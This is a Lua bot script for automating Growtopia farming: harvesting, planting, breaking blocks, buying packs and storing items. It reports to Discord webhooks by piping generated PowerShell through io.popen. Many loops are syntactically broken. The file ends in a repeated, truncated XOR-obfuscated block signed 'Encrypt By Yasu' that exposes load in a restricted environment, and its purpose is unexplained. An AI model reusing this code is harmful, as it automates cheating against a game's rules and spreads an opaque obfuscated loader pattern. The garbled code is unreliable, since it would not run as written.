Bot = {}

Bot["JANGSTOP"] = {
slotbot = 1,
webhookLink = "",
messageId = "",
startFrom = 1,
worldList = {"FARMWORLD"},
doorFarm = "DOORID",
storageSeed = "SAVEWORLD",
doorSeed = "DOORID",
storagePack = "SAVEWORLD",
doorPack = "DOORID",
webhookLinkPack = "" ,
webhookLinkSeed = "",
messageIdPack = "",
messageIdSeed = "",
upgradeBackpack = 0
}

patokanSeed = 16 -- patokan atau pos drop item
patokanPack = 1422 -- patokan atau pos drop item

webhookOffline = "" -- Bot On/Off with tag webhook link

detectFarmable = true -- Set true if auto detect farmable
itmId = 3004 -- Item id
itmSeed = itmId + 1 -- Item seed / Dont edit
blacklistTile = false -- kalo di atas locknya ke lock ini di true

delayexecutebot = 100
delayHarvest = 160 -- Harvesting delay
delayPlant = 130 -- Planting delay
delayPunch = 165 -- Punching delay
delayPlace = 110 -- Placing delay

buyAfterPNB = true -- Set true if buying and storing pack after each pnb
looping = true -- Set false if not looping
pack = "World Lock" -- Pack name to display on webhook
packList = {242} -- List of pack id
packName = "world_lock" -- Pack name in store
minimumGem = 2000 -- Minimum gems to buy pack
packPrice = 2000 -- Pack price
packLimit = 200 -- Limit of buying pack before bp full

takePickaxe = true -- kalo ngambil true kalo false gasusah
worldPickaxe = "WORLD"
doorPickaxe = "DOORID"

--===== [Jangs Lebaran] =====--

tileNumber = 1 -- Customable from 1 to 5
customTile = false -- Set true if custom breaking pos
customX = 0 -- Custom breaking pos x
customY = 0 -- Custom breaking pos y
root = false -- Set true if farming root
separatePlant = true -- Set true if separate harvest and plant
dontPlant = false -- Set true if store all seed and dont plant any
joinWorldAfterStore = false -- Set true if join random world after each rotation
worldToJoin = {"world1","world2","world3","world4","world5","world6","world7","world8","world9"} -- List of world to join after finishing 1 world
joinDelay = 5000 -- World join delay
restartTimer = true -- Set true if restart time of farm after looping
customShow = false -- Set true if showing only custom amount of world
showList = 3 -- Number of custom worlds to be shown
goods = {98, 18, 32, 6336, 9640} -- Item whitelist (don't edit)

blacklist = {
{x = -1, y = -1},
{x = 0, y = -1},
{x = 1, y = -1}
}
items = {
{name = "World Lock", id = 242, emote = "<:world_lock:1011929928519925820>"},
{name = "Pepper Tree", id = 4584, emote = "<:pepper_tree:1011930020836544522>"},
{name = "Pepper Tree Seed", id = 4585, emote = "<:pepper_tree_seed:1011930051744374805>"},
} -- List of item inf

list = {}
tree = {}
waktu = {}
worlds = {}
fossil = {}
tileBreak = {}
loop = 0
profit = 0
listNow = 1
strWaktu = ""
t = os.time()
start = Bot[getBot().name:upper()].startFrom
stop = #Bot[getBot().name:upper()].worldList
slotbot = Bot[getBot().name:upper()].slotbot
doorFarm = Bot[getBot().name:upper()].doorFarm
messageId = Bot[getBot().name:upper()].messageId
worldList = Bot[getBot().name:upper()].worldList
storageSeed = Bot[getBot().name:upper()].storageSeed
doorSeed = Bot[getBot().name:upper()].doorSeed
storagePack = Bot[getBot().name:upper()].storagePack
doorPack = Bot[getBot().name:upper()].doorPack
totalList = #Bot[getBot().name:upper()].worldList
webhookLink = Bot[getBot().name:upper()].webhookLink
webhookLinkPack = Bot[getBot().name:upper()].webhookLinkPack
webhookLinkSeed = Bot[getBot().name:upper()].webhookLinkSeed
messageIdPack = Bot[getBot().name:upper()].messageIdPack
messageIdSeed = Bot[getBot().name:upper()].messageIdSeed
upgradeBackpack = Bot[getBot().name:upper()].upgradeBackpack

for i = start,#worldList do
table.insert(worlds,worldList[i])
end

if looping then
for i = 0,start - 1 do
table.insert(worlds,worldList[i])
end
end

for _,pack in pairs(packList) do
table.insert(goods,pack)
end

for i = math.floor(tileNumber/2),1,-1 do
i = i * -1
table.insert(tileBreak,i)
end
for i = 0, math.ceil(tileNumber/2) - 1 do
table.insert(tileBreak,i)
end

if (showList - 1) >= #worldList then
customShow = false
end

if not detectFarmable then
table.insert(goods,itmId)
table.insert(goods,itmSeed)
end

if dontPlant then
separatePlant = false
end

function includesNumber(table, number)
for _,num in pairs(table) do
if num == number then
return true
end
end
return false
end

function detect()
local store = {}
local count = 0
for ,tile in pairs(getTiles()) do
if tile.flags == 0 and tile.fg ~= 0 then
if store[tile.fg] then
store[tile.fg].count = store[tile.fg].count + 1
else
store[tile.fg] = {fg = tile.fg, count = 1}
end
end
end
for
,tile in pairs(store) do
if tile.count > count then
count = tile.count
itmSeed = tile.fg
itmId = itmSeed - 1
end
end
if not includesNumber(goods,itmId) then
table.insert(goods,itmId)
end
if not includesNumber(goods,itmSeed) then
table.insert(goods,itmSeed)
end
end

function bl(world)
blist = {}
fossil[world] = 0
for ,tile in pairs(getTiles()) do
if tile.fg == 6 then
doorX = tile.x
doorY = tile.y
elseif tile.fg == 3918 then
fossil[world] = fossil[world] + 1
end
end
if blacklistTile then
for
,tile in pairs(blacklist) do
table.insert(blist,{x = doorX + tile.x, y = doorY + tile.y})
end
end
end

function tilePunch(x,y)
for _,num in pairs(tileBreak) do
if getTile(x - 1,y + num).fg ~= 0 or getTile(x - 1,y + num).bg ~= 0 then
return true
end
end
return false
end

function tilePlace(x,y)
for _,num in pairs(tileBreak) do
if getTile(x - 1,y + num).fg == 0 and getTile(x - 1,y + num).bg == 0 then
return true
end
end
return false
end

function check(x,y)
for _,tile in pairs(blist) do
if x == tile.x and y == tile.y then
return false
end
end
return true
end

function warp(world,id)
cok = 0
while getBot().world ~= world:upper() and not nuked do
while getBot().status ~= "online" do
sleep(1000)
end
sendPacket("action|join_request\nname|"..world:upper().."\ninvitedWorld|0", 3)
sleep(5000)
if cok == 10 then
nuked = true
else
cok = cok + 1
end
end
if id ~= "" and not nuked then
while getTile(math.floor(getBot().x / 32),math.floor(getBot().y / 32)).fg == 6 and not nuked do
while getBot().status ~= "online" do
sleep(1000)
end
sendPacket("action|join_request\nname|"..world:upper().."|"..id:upper().."\ninvitedWorld|0", 3)
sleep(1000)
end
end
end

function waktuWorld()
strWaktu = ""
if customShow then
for i = showList,1,-1 do
newList = listNow - i
if newList <= 0 then
newList = newList + totalList
end
strWaktu = strWaktu.."\n"..worldList[newList]:upper().." ( "..(waktu[worldList[newList]] or "?").." | "..(tree[worldList[newList]] or "?").." )"
end
else
for _,world in pairs(worldList) do
strWaktu = strWaktu.."\n"..world:upper().." ( "..(waktu[world] or "?").." | "..(tree[world] or "?").." )"
end
end
end

function botInfo(info)
te = os.time() - t
fossill = fossil[getBot().world] or 0
local text = [[
$webHookUrl = "]]..webhookLink..[[/messages/]]..messageId..[["
$CPU = Get-WmiObject Win32_Processor | Measure-Object -Property LoadPercentage -Average | Select -ExpandProperty Average
$CompObject = Get-WmiObject -Class WIN32_OperatingSystem
$Memory = ((($CompObject.TotalVisibleMemorySize - $CompObject.FreePhysicalMemory)*100)/ $CompObject.TotalVisibleMemorySize)
$RAM = [math]::Round($Memory, 0)
$thumbnailObject = @{
url = ""
}
$footerObject = @{
text = "]]..(os.date("!%a %b %d, %Y at %I:%M %p", os.time() + 7 * 60 * 60))..[["
}
$fieldArray = @(
@{
name = " "
value = "<:pickaxe:1011931845065183313> | ]]..info..[["
inline = "true"
}
@{
name = " "
value = "<:botak:1106131282041253899> | ]]..getBot().name..[["
inline = "true"
}
@{
name = " "
value = "<:oni:1087808466447503422> | ]]..getBot().status..[["
inline = "true"
}
@{
name = " "
value = "<:gems:994218103032520724> | ]]..findItem(112)..[["
inline = "true"
}
@{
name = " "
value = "<:globe:1011929997679796254> | ]]..getBot().world..[["
inline = "true"
}
@{
name = ""
value = "<:mkaKNG:1083862032966762546> | ]]..profit..[[ ]]..pack..[["
inline = "true"
}
@{
name = ""
value = "Up time | ]]..math.floor(te/86400)..[[ Days ]]..math.floor(te%86400/3600)..[[ Hours ]]..math.floor(te%86400%3600/60)..[[ Minutes"
inline = "false"
}
)
$embedObject = @{
title = "<:natural_bot:1092837667697340497> Bot Information | Ke - ]]..Bot[getBot().name:upper()].slotbot..[["
color = "15938027"
thumbnail = $thumbnailObject
footer = $footerObject
fields = $fieldArray
}
$embedArray = @($embedObject)
$payload = @{
embeds = $embedArray
}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-RestMethod -Uri $webHookUrl -Body ($payload | ConvertTo-Json -Depth 4) -Method Patch -ContentType 'application/json'
]]
local file = io.popen("powershell -command -", "w")
file:write(text)
file:close()
end

function packInfo(link,id,desc)
local text = [[
$webHookUrl = "]]..link..[[/messages/]]..id..[["
$thumbnailObject = @{
url = ""
}
$footerObject = @{
text = "]]..(os.date("!%a %b %d, %Y at %I:%M %p", os.time() + 7 * 60 * 60))..[["
}
$fieldArray = @(
@{
name = "Dropped Items"
value = "]]..desc..[["
inline = "false"
}
)
$embedObject = @{
title = "<:natural_bot:1092837667697340497> PACK/SEED INFORMATION"
color = "15938027"
thumbnail = $thumbnailObject
footer = $footerObject
fields = $fieldArray
}
$embedArray = @($embedObject)
$payload = @{
embeds = $embedArray
}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-RestMethod -Uri $webHookUrl -Body ($payload | ConvertTo-Json -Depth 4) -Method Patch -ContentType 'application/json'
]]
local file = io.popen("powershell -command -", "w")
file:write(text)
file:close()
end

function reconInfo()
local text = [[
$webHookUrl = "]]..webhookOffline..[["
$payload = @{
content = "]]..getBot().name..[[ (slot-]]..Bot[getBot().name:upper()].slotbot..[[) status is ]]..getBot().status..[[ @everyone"
}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-RestMethod -Uri $webHookUrl -Body ($payload | ConvertTo-Json -Depth 4) -Method Post -ContentType 'application/json'
]]
local file = io.popen("powershell -command -", "w")
file:write(text)
file:close()
end

function reconnect(world,id,x,y)
if getBot().status ~= "online" then
botInfo("Reconnecting")
sleep(100)
reconInfo()
sleep(100)
while true do
sleep(10000)
if getBot().status == "suspended" or getBot().status == "banned" then
botInfo(getBot().status)
sleep(100)
reconInfo()
sleep(100)
while true do
sleep(10000)
end
end
while getBot().status == "online" and getBot().world ~= world:upper() do
sendPacket("action|join_request\nname|"..world:upper().."\ninvitedWorld|0", 3)
sleep(5000)
end
if getBot().status == "online" and getBot().world == world:upper() then
if id ~= "" then
while getTile(math.floor(getBot().x / 32),math.floor(getBot().y / 32)).fg == 6 do
sendPacket("action|join_request\nname|"..world:upper().."|"..id:upper().."\ninvitedWorld|0", 3)
sleep(1000)
end
end
if x and y and getBot().status == "online" and getBot().world == world:upper() then
while math.floor(getBot().x / 32) ~= x or math.floor(getBot().y / 32) ~= y do
findPath(x,y,100)
end
end
if getBot().status == "online" and getBot().world == world:upper() then
if x and y then
if getBot().status == "online" and math.floor(getBot().x / 32) == x and math.floor(getBot().y / 32) == y then
break
end
elseif getBot().status == "online" then
break
end
end
end
end
botInfo("Succesfully Reconnected")
sleep(100)
reconInfo()
sleep(100)
botInfo("Farming")
sleep(100)
end
end

function round(n)
return n % 1 > 0.5 and math.ceil(n) or math.floor(n)
end

function tileDrop1(x,y,num)
local count = 0
local stack = 0
for _,obj in pairs(getObjects()) do
if round(obj.x / 32) == x and math.floor(obj.y / 32) == y then
count = count + obj.count
stack = stack + 1
end
end
if stack < 15 and count <= (4000 - num) then
return true
end
return false
end

function tileDrop2(x,y,num)
local count = 0
local stack = 0
for _,obj in pairs(getObjects()) do
if round(obj.x / 32) == x and math.floor(obj.y / 32) == y then
count = count + obj.count
stack = stack + 1
end
end
if stack < 15 and count <= (4000 - num) then
return true
end
return false
end

function pukulBlock()
for _, tile in pairs(getTiles()) do
if not blacklistTile or check(tile.x, tile.y) then
if tile.fg == itmId or tile.bg == itmId then
findPath(tile.x, tile.y,100)
while getTile(tile.x, tile.y).fg > 0 or getTile(tile.x, tile.y).bg > 0 do
punch(0, 0)
sleep(100)
end
end
end
end
end

function storePack()
for ,pack in pairs(packList) do
for
,tile in pairs(getTiles()) do
if tile.fg == patokanPack or tile.bg == patokanPack then
if tileDrop1(tile.x,tile.y,findItem(pack)) then
while math.floor(getBot().x / 32) ~= (tile.x - 1) or math.floor(getBot().y / 32) ~= tile.y do
findPath(tile.x - 1,tile.y,1000)
reconnect(storagePack,doorPack,tile.x - 1,tile.y)
end
while findItem(pack) > 0 and tileDrop1(tile.x,tile.y,findItem(pack)) do
sendPacket("action|drop\n|itemID|"..pack, 2)
sendPacket("action|dialog_return\ndialog_name|drop_item\nitemID|"..pack.."|\ncount|"..findItem(pack), 2)
sleep(500)
reconnect(storagePack,doorPack,tile.x - 1,tile.y)
end
end
end
if findItem(pack) == 0 then
break
end
end
end
end

function itemInfo(ids)
local result = {name = "null", id = ids, emote = "null"}
for _,item in pairs(items) do
if item.id == ids then
result.name = item.name
result.emote = item.emote
return result
end
end
return result
end

function infoPack()
local store = {}
for ,obj in pairs(getObjects()) do
if store[obj.id] then
store[obj.id].count = store[obj.id].count + obj.count
else
store[obj.id] = {id = obj.id, count = obj.count}
end
end
local str = ""
for
,object in pairs(store) do
str = str.."\n"..itemInfo(object.id).emote.." "..itemInfo(object.id).name.." : x"..object.count
end
return str
end

function join()
botInfo("Clearing World Logs")
sleep(100)
for _,wurld in pairs(worldToJoin) do
warp(wurld,"")
sleep(joinDelay)
reconnect(wurld,"")
end
end

function storeSeed(world)
botInfo("Storing Seed")
sleep(100)
collectSet(false,3)
sleep(100)
warp(storageSeed,doorSeed)
sleep(100)
for _,tile in pairs(getTiles()) do
if tile.fg == patokanSeed or tile.bg == patokanSeed then
if tileDrop2(tile.x,tile.y,100) then
while math.floor(getBot().x / 32) ~= (tile.x - 1) or math.floor(getBot().y / 32) ~= tile.y do
findPath(tile.x - 1,tile.y,1000)
reconnect(storageSeed,doorSeed,tile.x - 1,tile.y)
end
while findItem(itmSeed) >= 100 and tileDrop2(tile.x,tile.y,100) do
sendPacket("action|drop\n|itemID|"..itmSeed, 2)
sendPacket("action|dialog_return\ndialog_name|drop_item\nitemID|"..itmSeed.."|\ncount|100", 2)
sleep(500)
reconnect(storageSeed,doorSeed,tile.x - 1,tile.y)
end
end
if findItem(itmSeed) < 100 then
break
end
end
end
packInfo(webhookLinkSeed,messageIdSeed,infoPack())
sleep(100)
if joinWorldAfterStore then
join()
sleep(100)
end
warp(world,doorFarm)
sleep(100)
collectSet(true,3)
sleep(100)
botInfo("Farming")
sleep(100)
end

function buy()
botInfo("Buying and Storing Pack")
sleep(100)
collectSet(false,3)
sleep(100)
warp(storagePack,doorPack)
sleep(100)
while findItem(112) >= packPrice do
for i = 1, packLimit do
sendPacket("action|buy\nitem|"..packName, 2)
sleep(1750)
if findItem(packList[1]) == 0 then
sendPacket("action|buy\nitem|upgrade_backpack", 2)
sleep(1750)
else
profit = profit + 1
end
if findItem(112) < packPrice then
break
end
end
storePack()
sleep(1750)
reconnect(storagePack,doorPack)
end
packInfo(webhookLinkPack,messageIdPack,infoPack())
sleep(100)
if joinWorldAfterStore then
join()
sleep(100)
end
end

function clear()
for _,item in pairs(getInventory()) do
if not includesNumber(goods, item.id) then
sendPacket("action|trash\n|itemID|"..item.id, 2)
sendPacket("action|dialog_return\ndialog_name|trash_item\nitemID|"..item.id.."|\ncount|"..item.count, 2)
sleep(200)
end
end
end

function plant(world)
for _,tile in pairs(getTiles()) do
if tile.flags ~= 0 and tile.y ~= 0 and getTile(tile.x,tile.y - 1).fg == 0 then
if not blacklistTile or check(tile.x,tile.y) then
findPath(tile.x,tile.y - 1,100)
if getTile(tile.x,tile.y - 1).fg == 0 and getTile(tile.x,tile.y).flags ~= 0 then
place(itmSeed,0,0)
sleep(delayPlant)
reconnect(world,doorFarm,tile.x,tile.y - 1)
end
end
end
if findItem(itmSeed) == 0 then
break
end
end
if findItem(itmSeed) >= 100 then
storeSeed(world)
sleep(100)
end
end

function pnb(world)
if findItem(itmId) >= tileNumber then
ex = math.floor(getBot().x / 32)
ye = math.floor(getBot().y / 32)
if tileNumber > 1 then
while findItem(itmId) >= tileNumber and findItem(itmSeed) < 190 do
while tilePlace(ex,ye) do
for ,i in pairs(tileBreak) do
if getTile(ex - 1,ye + i).fg == 0 and getTile(ex - 1,ye + i).bg == 0 then
place(itmId,-1,i)
sleep(delayPlace)
reconnect(world,doorFarm,ex,ye)
end
end
end
while tilePunch(ex,ye) do
for
,i in pairs(tileBreak) do
if getTile(ex - 1,ye + i).fg ~= 0 or getTile(ex - 1,ye + i).bg ~= 0 then
punch(-1,i)
sleep(delayPunch)
reconnect(world,doorFarm,ex,ye)
end
end
end
reconnect(world,doorFarm,ex,ye)
end
pukulBlock()
sleep(100)
else
while findItem(itmId) > 0 and findItem(itmSeed) < 190 do
while getTile(ex - 1,ye).fg == 0 and getTile(ex - 1,ye).bg == 0 do
place(itmId,-1,0)
sleep(delayPlace)
reconnect(world,doorFarm,ex,ye)
end
while getTile(ex - 1,ye).fg ~= 0 or getTile(ex - 1,ye).bg ~= 0 do
punch(-1,0)
sleep(delayPunch)
reconnect(world,doorFarm,ex,ye)
end
end
end
pukulBlock()
sleep(100)
clear()
sleep(100)
if buyAfterPNB and findItem(112) >= minimumGem then
buy()
sleep(100)
warp(world,doorFarm)
sleep(100)
collectSet(true,3)
sleep(100)
botInfo("Farming")
sleep(100)
end
end
end

function harvest(world)
botInfo("Farming")
sleep(100)
tree[world] = 0
if dontPlant then
for ,tile in pairs(getTiles()) do
if getTile(tile.x,tile.y - 1).ready then
if not blacklistTile or check(tile.x,tile.y) then
tree[world] = tree[world] + 1
findPath(tile.x,tile.y - 1,100)
while getTile(tile.x,tile.y - 1).fg == itmSeed do
punch(0,0)
sleep(delayHarvest)
reconnect(world,doorFarm,tile.x,tile.y - 1)
end
if root then
while getTile(tile.x, tile.y).fg == (itmId + 4) and getTile(tile.x, tile.y).flags ~= 0 do
punch(0, 1)
sleep(delayHarvest)
reconnect(world,doorFarm,tile.x,tile.y - 1)
end
clear()
sleep(100)
end
end
end
if findItem(itmId) >= 190 then
pnb(world)
sleep(100)
if findItem(itmSeed) >= 190 then
storeSeed(world)
sleep(100)
end
end
end
elseif not separatePlant then
for
,tile in pairs(getTiles()) do
if getTile(tile.x,tile.y - 1).ready or (tile.flags ~= 0 and tile.y ~= 0 and getTile(tile.x,tile.y - 1).fg == 0) then
if not blacklistTile or check(tile.x,tile.y) then
tree[world] = tree[world] + 1
findPath(tile.x,tile.y - 1,100)
while getTile(tile.x,tile.y - 1).fg == itmSeed do
punch(0,0)
sleep(delayHarvest)
reconnect(world,doorFarm,tile.x,tile.y - 1)
end
if root then
while getTile(tile.x, tile.y).fg == (itmId + 4) and getTile(tile.x, tile.y).flags ~= 0 do
punch(0, 1)
sleep(delayHarvest)
reconnect(world,doorFarm,tile.x,tile.y - 1)
end
clear()
sleep(100)
end
while getTile(tile.x,tile.y - 1).fg == 0 and getTile(tile.x,tile.y).flags ~= 0 do
place(itmSeed,0,0)
sleep(delayPlant)
reconnect(world,doorFarm,tile.x,tile.y - 1)
end
end
end
if findItem(itmId) >= 190 then
pnb(world)
sleep(100)
if findItem(itmSeed) >= 190 then
storeSeed(world)
sleep(100)
end
end
end
else
for _,tile in pairs(getTiles()) do
if getTile(tile.x,tile.y - 1).ready then
if not blacklistTile or check(tile.x,tile.y) then
tree[world] = tree[world] + 1
findPath(tile.x,tile.y - 1,100)
while getTile(tile.x,tile.y - 1).fg == itmSeed do
punch(0,0)
sleep(delayHarvest)
reconnect(world,doorFarm,tile.x,tile.y - 1)
end
if root then
while getTile(tile.x, tile.y).fg == (itmId + 4) and getTile(tile.x, tile.y).flags ~= 0 do
punch(0, 1)
sleep(delayHarvest)
reconnect(world,doorFarm,tile.x,tile.y - 1)
end
clear()
sleep(100)
end
end
end
if findItem(itmId) >= 190 then
pnb(world)
sleep(100)
plant(world)
sleep(100)
end
end
end
pnb(world)
sleep(100)
if separatePlant then
plant(world)
sleep(100)
end
if findItem(112) >= minimumGem then
buy()
sleep(100)
end
end

sleep( slotbot * delayexecutebot )

if takePickaxe and findItem(98) == 0 then
warp(worldPickaxe, doorPickaxe)
sleep(2000)
collectSet(false, 3)
sleep(100)
for _, obj in pairs(getObjects()) do
if obj.id == 98 then
findPath(round(obj.x / 32), math.floor(obj.y / 32),1000)
collect(2)
sleep(1000)
end
if findItem(98) > 0 then
break
end
end
move(-1, 0)
sleep(100)
sendPacket("action|drop\n|itemID|98",2)
sendPacket("action|dialog_return\ndialog_name|drop_item\nitemID|98|\ncount|" .. (findItem(98) - 1),2)
sleep(500)
wear(98)
sleep(500)
end

for i = 1,upgradeBackpack do
sendPacket("action|buy\nitem|upgrade_backpack", 2)
sleep(500)
end

while true do
for index,world in pairs(worlds) do
waktuWorld()
sleep(100)
warp(world,doorFarm)
sleep(100)
if not nuked then
if detectFarmable then
detect()
sleep(100)
end
collectSet(true,3)
sleep(100)
bl(world)
sleep(100)
botInfo("Starting "..world)
sleep(1000)
tt = os.time()
harvest(world)
sleep(1000)
tt = os.time() - tt
botInfo("Finished "..world)
sleep(100)
waktu[world] = math.floor(tt/3600).." Hours "..math.floor(tt%3600/60).." Minutes"
sleep(100)
if joinWorldAfterStore then
join()
sleep(100)
end
else
waktu[world] = "NUKED"
tree[world] = "NUKED"
nuked = false
sleep(5000)
end
if start < stop then
start = start + 1
else
if restartTimer then
waktu = {}
tree = {}
end
start = 1
loop = loop + 1
end
end
if not looping then
waktuWorld()
sleep(100)
botInfo("Finished All World, Removing Bot!")
sleep(100)
removeBot(getBot().name)
break
end
end

local key=[[Jangs Lebaran]];BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMiz="Encrypt By Yasu";sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS=BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi;VbdSOuPEDJccwCuBIaNoqScYPcuzAYrqyvizGZjtqWazBNFCtOgDpkImGAIonsViXbnHnOYwlqnAdAZVvLPZMESdLaQZMbBQytgMaNHnvtUrwWcAuAjYkIxUoiGAMuCW=sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS;mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE=VbdSOuPEDJccwCuBIaNoqScYPcuzAYrqyvizGZjtqWazBNFCtOgDpkImGAIonsViXbnHnOYwlqnAdAZVvLPZMESdLaQZMbBQytgMaNHnvtUrwWcAuAjYkIxUoiGAMuCW;aubJamUKWiSvuwbmieScaqrBBfDKYEwjQovlamPhnKRdFHkUwIOhYzbwexRpRlTuKzxwhebMlHcVcPIaAnpoSgzCkxUrFhPDSRbdSTCjviVEMDwiAjhmVFJkYlhBNQln=mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE;dvirqrXjUeVtVMYSqKIljguObGrTFWqJXCzBCrzmKiHdBVvOetwwOPKHYQfHmDfnfqcFWjAzseyeBRkJSQxuLKWaYlTzhKNTXTKPmkLpgDRfrqFKndXXMRmVIRyCyZPZ=aubJamUKWiSvuwbmieScaqrBBfDKYEwjQovlamPhnKRdFHkUwIOhYzbwexRpRlTuKzxwhebMlHcVcPIaAnpoSgzCkxUrFhPDSRbdSTCjviVEMDwiAjhmVFJkYlhBNQln;_ENV={string=string,table=table,math=math,pairs=pairs,load=load,print=print};BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi="sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS";sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS="BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi";VbdSOuPEDJccwCuBIaNoqScYPcuzAYrqyvizGZjtqWazBNFCtOgDpkImGAIonsViXbnHnOYwlqnAdAZVvLPZMESdLaQZMbBQytgMaNHnvtUrwWcAuAjYkIxUoiGAMuCW={70,116,74,81,110,108,90,82,84,115,99,83,97,111,71,107,80,69,103,65,90,122,85,68,78,106,81,90,113,74,97,86,99,98,107,116,82,97,121,90,118,121,107,65,102,86,119,111,74,114,76,99,98,114,121,72,90,65,99,84,83,112,70,100,115,88,80,112,120,108,100,79,114,73,122,122,122,107,115,75,81,107,73,115,74,110,113,86,116,89,107,69,117,111,110,119,118,119,72,71,83,84,112,89,106,105,68,105,88,122,86,122,104,90,82,102,117,113,69,99,101,80,110,71,71,116,78,112};function xor(t)local ciphertext="";for i=1,#sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS do local byte=string.byte(sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS, i);local quibit=string.byte(BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi,(i-1)%#BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi+1);ciphertext=ciphertext..string.char(bit.bxor(byte,quibit));end;return ciphertext;end;bit={bxor=function(a,b)local r,m=0,1;while a>0 and b>0 do local aa,bb=a%2,b%2;r=r+m((aa+bb)%2);m=m2;a=math.floor(a/2);b=math.floor(b/2) end;if a>0 then r=r+ma end;if b>0 then r=r+mb end;return r;end};xor(VbdSOuPEDJccwCuBIaNoqScYPcuzAYrqyvizGZjtqWazBNFCtOgDpkImGAIonsViXbnHnOYwlqnAdAZVvLPZMESdLaQZMbBQytgMaNHnvtUrwWcAuAjYkIxUoiGAMuCW)BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMiz="Encrypt By Yasu";_ENV={string=string,table=table,math=math,pairs=pairs,load=load,print=print};mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE="sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS";sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS="mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE";aubJamUKWiSvuwbmieScaqrBBfDKYEwjQovlamPhnKRdFHkUwIOhYzbwexRpRlTuKzxwhebMlHcVcPIaAnpoSgzCkxUrFhPDSRbdSTCjviVEMDwiAjhmVFJkYlhBNQln={119,65,88,76,106,110,111,73,86,115,97,66,114,88,107,69,68,97,116,121,109,105,115,71,84,83,83,98,85,116,116,80,90,85,84,69,73,107,82,109,121,101,86,107,118,85,84,86,75,120,83,83,86,118,88,115,118,78,98,82,70,86,112,66,73,83,86,65,118,122,72,104,98,116,87,107,72,89,110,69,66,107,67,74,88,78,107,73,70,90,80,88,98,90,74,90,100,90,116,86,75,89,79,86,71,82,99,120,99,80,88,104,117,79,89,113,114,106,66,76,85,80,120,86,118,114,88,83};function xor(t)local ciphertext="";for i=1,#sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS do local 